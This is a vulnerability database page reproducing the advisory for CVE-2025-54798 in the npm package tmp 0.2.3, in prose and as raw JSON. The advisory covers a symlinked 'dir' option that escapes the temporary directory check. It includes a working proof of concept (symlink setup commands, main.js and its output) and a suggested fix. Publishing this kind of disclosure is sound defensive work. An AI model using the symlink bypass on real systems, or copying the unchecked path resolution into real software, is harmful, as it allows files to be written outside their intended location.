GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-52F5-9888-HMC6

Vulnerability from github – Published: 2025-08-06 17:06 – Updated: 2025-11-03 21:34
VLAI
Summary
tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter
Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tmp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-06T17:06:04Z",
    "nvd_published_at": "2025-08-07T01:15:26Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system\u0027s tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system\u0027s default temporary directory.\n     absolute paths are fine as long as they point to a location under the system\u0027s default temporary directory.\n     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n     as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n  if (name.startsWith(tmpDir)) {\n    return path.resolve(name);\n  } else {\n    return path.resolve(path.join(tmpDir, name));\n  }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it\u0027s possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n  if (option === \u0027name\u0027) {\n    // assert that name is not absolute and does not contain a path\n    if (path.isAbsolute(name))\n      throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n    // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n    let basename = path.basename(name);\n    if (basename === \u0027..\u0027 || basename === \u0027.\u0027 || basename !== name)\n      throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n  }\n  else { // if (option === \u0027dir\u0027 || option === \u0027template\u0027) {\n    // assert that dir or template are relative to tmpDir\n    if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n    }\n    let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n    if (!resolvedPath.startsWith(tmpDir))\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n  }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open \u0027/tmp/mydir1/tmp-[random-id]\u0027\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require(\u0027tmp\u0027);\n\nconst tmpobj = tmp.fileSync({ \u0027dir\u0027: \u0027evil-dir\u0027});\nconsole.log(\u0027File: \u0027, tmpobj.name);\n\ntry {\n    tmp.fileSync({ \u0027dir\u0027: \u0027mydir1\u0027});\n} catch (err) {\n    console.log(\u0027test 1:\u0027, err.message)\n}\n\ntry {\n    tmp.fileSync({ \u0027dir\u0027: \u0027/foo\u0027});\n} catch (err) {\n    console.log(\u0027test 2:\u0027, err.message)\n}\n\ntry {\n    const fs = require(\u0027node:fs\u0027);\n    const resolved = fs.realpathSync(\u0027/tmp/evil-dir\u0027);\n    tmp.fileSync({ \u0027dir\u0027: resolved});\n} catch (err) {\n    console.log(\u0027test 3:\u0027, err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n  let resolvedPath;\n  if (name.startsWith(tmpDir)) {\n    resolvedPath = path.resolve(name);\n  } else {\n    resolvedPath = path.resolve(path.join(tmpDir, name));\n  }\n  return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink",
  "id": "GHSA-52f5-9888-hmc6",
  "modified": "2025-11-03T21:34:20Z",
  "published": "2025-08-06T17:06:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/issues/207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/raszi/node-tmp"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…